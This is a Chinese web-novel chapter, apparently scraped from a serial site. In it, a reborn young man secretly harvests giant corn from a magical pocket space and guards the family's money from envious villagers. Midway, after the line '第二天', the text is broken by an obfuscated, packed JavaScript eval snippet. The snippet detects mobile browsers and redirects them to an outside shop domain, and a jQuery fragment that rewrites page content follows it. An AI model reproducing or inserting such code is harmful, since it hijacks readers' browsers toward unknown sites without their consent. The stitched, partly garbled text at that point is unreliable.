林晨连着三天没进空间。
不是不想进，是不敢。收购站的人记住了他，张桂英的大嗓门把这事传遍了半个村，连老队长都问他“你还会挖药材”。他不能再冒风险。空间里的东西，得等风头过了再拿出来。
但玉米不等人。
第四天夜里，林晨躺在炕上，玉佩贴在胸口，温热的，像在催他。他闭上眼，心念一动，还是进去了。
一进去，他就愣住了。
玉米熟了。
不是“快熟了”，是已经熟透了。每一棵玉米秆上都挂着两三个棒子，苞叶从绿变黄，干巴巴地裂开，露出里面金灿灿的玉米粒。一排一排，密密实实，像牙齿一样整齐。
林晨站在地头，呼吸都重了。
他种过地，前世在城里打工的时候，厂子边上有一块菜地，他跟工友学着种过几年。玉米他从没见过长成这样的——每个棒子都有他小臂长，颗粒饱满得像是要撑破皮。
他伸手掰了一个，剥□□叶，玉米粒金黄金黄的，凑近了闻，有一股甜丝丝的香气，不是那种生涩的青草味，而是像刚出锅的窝头，热腾腾的，带着粮食特有的厚重。
林晨咬了一口。
生的，但甜。汁水在嘴里爆开，不像生玉米，倒像是什么水果。
他三两口吃完了一个棒子，把玉米芯扔在地头。
然后他开始掰玉米。
一垄一垄地走，一个棒子一个棒子地掰。玉米秆比他高半个头，叶子划过手臂，痒酥酥的。玉米棒子沉甸甸的，握在手里，像握着一块金子。
他掰了满满两大筐，扛到木屋里，堆在墙角。木屋不大，两大筐玉米堆进去，占了一半地方。
他站在木屋门口，看了看剩下的玉米地。还有一半没掰。时间不够了，天快亮了。
林晨擦了把汗，走到井边，喝了三捧水，灌满竹筒，出来，兑进水壶。
他躺在炕上，心跳还没平下来。伸手摸了摸炕席底下那包钱，六毛一分，硬硬的，还在。
第二天早上，念念喝糊糊的时候，忽然说：“锅锅，今天糊糊香。”
林晨愣了一下。糊糊是玉米面加红薯叶子，跟昨天前天大前天一样，怎么今天香了？
他喝了一口。
是有点不一样。玉米面的味道更浓了，不是那种粗糙的涩，而是一种温润的、厚实的香。
是空间的玉米。
昨天晚上他掰玉米的时候，手上沾了玉米浆，进空间出来没洗干净，换水壶的时候蹭了一点在手上，又蹭到了水壶嘴上。就那么一点点，混进了水壶里，煮出来的糊糊就不一样了。
林晨低头喝糊糊，没说话。
母亲喝了一口，停了一下，又喝了一口，没说什么。
熙熙喝得快，一碗喝完了，说：“妈，今天糊糊好喝。”
“嗯。”母亲应了一声，把自己碗里的糊糊倒了一半给熙熙，“多喝点。”
念念抱着碗，喝得呼呼响，喝完舔了舔碗底，把碗递给母亲：“妈，还要。”
母亲又给她舀了半碗。
林晨看着念念喝糊糊，心里在算。空间的玉米，磨成面，掺进家里的粮缸里，一次掺一点，看不出来。但不能多，多了会惹人怀疑。
下地的路上，李叔问他：“晨儿，你妈这几天气色好点了。”
“嗯，睡得好。”林晨说。
“你妹也好点了。”李叔扛着锄头，走得不紧不慢，“脸上有肉了。”
林晨没接话。
他知道不是“睡得好”的事。是灵泉水。念念喝了快十天了，母亲也跟着喝，熙熙也跟着喝。所有人的气色都在变，只是变化慢，一天一天看不出，拉长了看，跟十天前比，不一样了。
到了地里，林晨抡起锄头，开始松土。
种子已经下地了，现在要等出苗。但这几天没下雨，土干，得松一松，保墒。
中午歇晌的时候，王叔从兜里掏出一个窝头，啃了两口，忽然说：“晨儿。”
王叔话少，平时一天跟他说不了三句话。
“嗯。”
“你家的地，种得不错。”王叔嚼着窝头，眼睛看着远处，“你爷教你的？”
“嗯。”
王叔点了点头，没再说话。
下午收工的时候，老队长在村口叫住了林晨。
“晨儿，你过来。”
林晨走过去。
老队长蹲在树根上抽旱烟，烟袋锅里的火星一亮一亮的。
“你二叔来信的事，村里都知道了。”老队长磕了磕烟袋锅，“有人跟我说，你妈一下子得了四十块钱，眼红。”
林晨没说话。
“我跟那人说了。”老队长站起来，拍了拍裤腿上的土，“我说人家是烈属，国梁拿命换的，你再眼红，你去当兵，你去牺牲。”
林晨喉咙发紧。
“你二叔寄的钱，你自己收好。”老队长看了他一眼，“别让人知道还剩多少。”
“知道了。”
老队长走了。
林晨扛着锄头回家。
院门口，念念坐在门槛上，手里拿着一根小棍子，在地上画。
“锅锅。”她没抬头，“我今天画了一个人。”
“画的谁？”
“你。”念念指了指地上那个歪歪扭扭的圈，圈上面两根棍子，是胳膊，圈下面两根棍子，是腿。
“像吗？”她仰头看林晨。
“像。”林晨蹲下来，“这是锅锅？”
“嗯。”念念又指了指圈顶上几根线，“这是头化。”
头发。
林晨笑了。
念念把小棍子递给他：“锅锅也画。”
林晨接过棍子，在地上画了一个圆，圆上面画了几朵小花。念念蹲在旁边看，问他：“这是什么？”
“花。”
“化是长在地上的。”念念摇头，“不是长在头上的。”
林晨被她认真的样子逗笑了。他把花擦掉，重新画了几个小圈，说：“这是糖。”
念念眼睛亮了。
“锅锅，你会画糖。”
母亲从灶房探出头：“吃饭了。”
念念站起来，拉着林晨的手往灶房里拽。
“锅锅，明天还画糖。”
“好。”
吃完饭，林晨帮熙熙收了碗，走到东屋门口。
奶奶正坐在炕沿上纳鞋底，麻绳缠在手指上，针扎进去拔出来，嗤的一声。爷爷躺在炕上，闭着眼，像是睡着了，但手指在被子上一动一动的，没睡。
“奶奶，二叔下次来信，我问问他，能不能给爷买点药。”
“别花那个钱。”奶□□都没抬，“你爷的腿，老毛病了，吃药也那样。”
“吃了总比不吃强。”
奶奶放下鞋底，看了他一眼：“晨儿，你最近变了。”
林晨愣了一下：“哪儿变了？”
“以前你不爱说话，现在会操心了。”奶奶说完，又拿起鞋底，继续纳。
林晨站在门口，没说话。
夜里，全家都睡了之后，林晨又进了空间。
剩下的玉米全掰完了。两大筐，加上昨天那两筐，一共四筐。他把玉米棒子摊在木屋地上，让它们阴干。等干了，脱粒，磨面，就能吃了。
林晨蹲在木屋门口，看着一地金黄的玉米棒子，心里踏实得不像话。
他站起来，走到玉米地边上。玉米秆还在地里立着，叶子干黄了，但根还扎在黑土里。他没拔，留着，等哪天有空了再收拾。
走到井边，喝了三捧水，灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手搭在他胳膊上，手指松松地勾着他的袖子。
林晨侧过头，看念念的脸。
月光从窗户纸透进来，照在她脸上，薄薄的，像一层霜。她的睫毛很长，翘着，鼻翼轻轻地扇动，呼吸匀匀的。
他伸手，把被子往上拉了拉，盖住她的肩膀。
念念“嗯”了一声，没醒，往他这边拱了拱，脸埋进他胳膊弯里。
林晨没动。
他在黑暗里睁着眼，想着那一地的玉米，想着炕席底下的六毛一分钱，想着王叔那句“你种得不错”，想着老队长说的“眼红”。
粮食有了，钱有了，但麻烦也来了。
他得小心。不能再让人看出来。
第二天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508786|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早上，林晨去领种子的时候，刘能正在分。
“你家五斤。”刘能把玉米种子倒进林晨的口袋，推了推眼镜，“种的时候别太密，密了不长棒子。”
林晨接过种子，看了他一眼。
刘能今天态度不错，客客气气的，跟之前阴着脸的时候不一样。
“刘叔，上次你补的那两分，谢了。”
“应该的。”刘能说完，低下头继续分种子，没再看他。
林晨扛着锄头往南坡走。
李叔在前头，走得快，他追上去。
“李叔，刘能这两天是不是不对劲？”
李叔脚步顿了一下，没回头：“他儿子想当兵，体检没过。这两天正找关系，想走门路。”
林晨明白了。
“他跟老队长走得近？”林晨问。
“他走得近的人多了。”李叔说完，加快了脚步。
林晨跟在他后面，把这事记下了。
南坡的太阳升起来，暖洋洋的。
林晨抡起锄头，开始刨地。土块翻起来，散开，一股新鲜的泥土味往鼻子里钻。
他干了一上午，没歇。
中午吃饭的时候，王叔把自己的水壶递给他：“喝点。”
林晨接过水壶，灌了一口。水是凉的，带着铁锈味，跟家里的水不一样。
“王叔，你种地多少年了？”
“二十多年了。”王叔啃着窝头，慢慢嚼，“打小就下地。”
“那你见过最好的收成是啥时候？”
王叔想了想：“五八年。那年风调雨顺，玉米棒子跟小娃娃胳膊似的。”
林晨没接话。
五八年。那是个好年景。但好年景之后，就是苦日子了。
他低头啃饼子，不再问了。
下午收工的时候，林晨扛着锄头回家。
院门口，念念没在。
他愣了一下。天天在门槛上等他，今天不在了？林晨快步走进院子，灶房里没有，东屋里没有。
“念念？”他喊了一声。
“这儿。”熙熙的声音从柴房后面传过来。
林晨绕过去，看见念念蹲在墙角，手里拿着一根小棍子，正在戳地上的蚂蚁。
“念念，你在这儿干啥？”
“看蚂依。”念念头都不抬，“它们搬家。”
林晨蹲下来，陪她看了一会儿。
蚂蚁排成一条线，从墙缝里钻出来，沿着墙根往前爬。
“它们要下雨了。”林晨说。
念念仰头看天，天蓝蓝的，一朵云都没有，又低头看蚂蚁。
“没下雨。”
“快了。”
念念不理他了，继续看蚂蚁。
林晨站起来，走进灶房。
母亲正在切红薯，案板上堆了一堆红薯块，大小不匀。
“妈，我来切。”
“你歇着。”
“我不累。”
林晨接过菜刀，把红薯块修了修，切成大小差不多的块。母亲在旁边看着，没说话。
熙熙在油灯下写字，念念趴在桌上，拿小棍子在桌上画蚂蚁。
灶房里，缝纫机响了。咔嚓咔嚓，一下一下。
林晨坐在门槛上，靠着门框，闭上眼。
玉佩贴在胸口，温热的。
陈年的木头味，糊糊的焦香，缝纫机机油的味道，混在一起。念念趴着画蚂蚁，熙熙写字，母亲踩缝纫机，爷爷在东屋咳嗽。
这些声音，这些味道，全搅在一起，热腾腾的，像一锅刚出锅的糊糊，稠得搅不动。
林晨睁开眼，看了一眼念念。
念念还在画蚂蚁。
“锅锅。”她忽然抬头，“蚂依搬家，是要下雨吗？”
“嗯。”
“那我们家房子会不会漏水？”
林晨愣了一下，没回答。
窗外的老榆树沙沙响。天边有一片云，灰蒙蒙的，慢慢往这边飘。
林晨看着那片云，想起前世有一年开春，下了一场大雨，他家的土坯房漏了一夜。母亲拿盆接水，接了一盆又一盆，整夜没睡。
这一世，他要把房顶修好。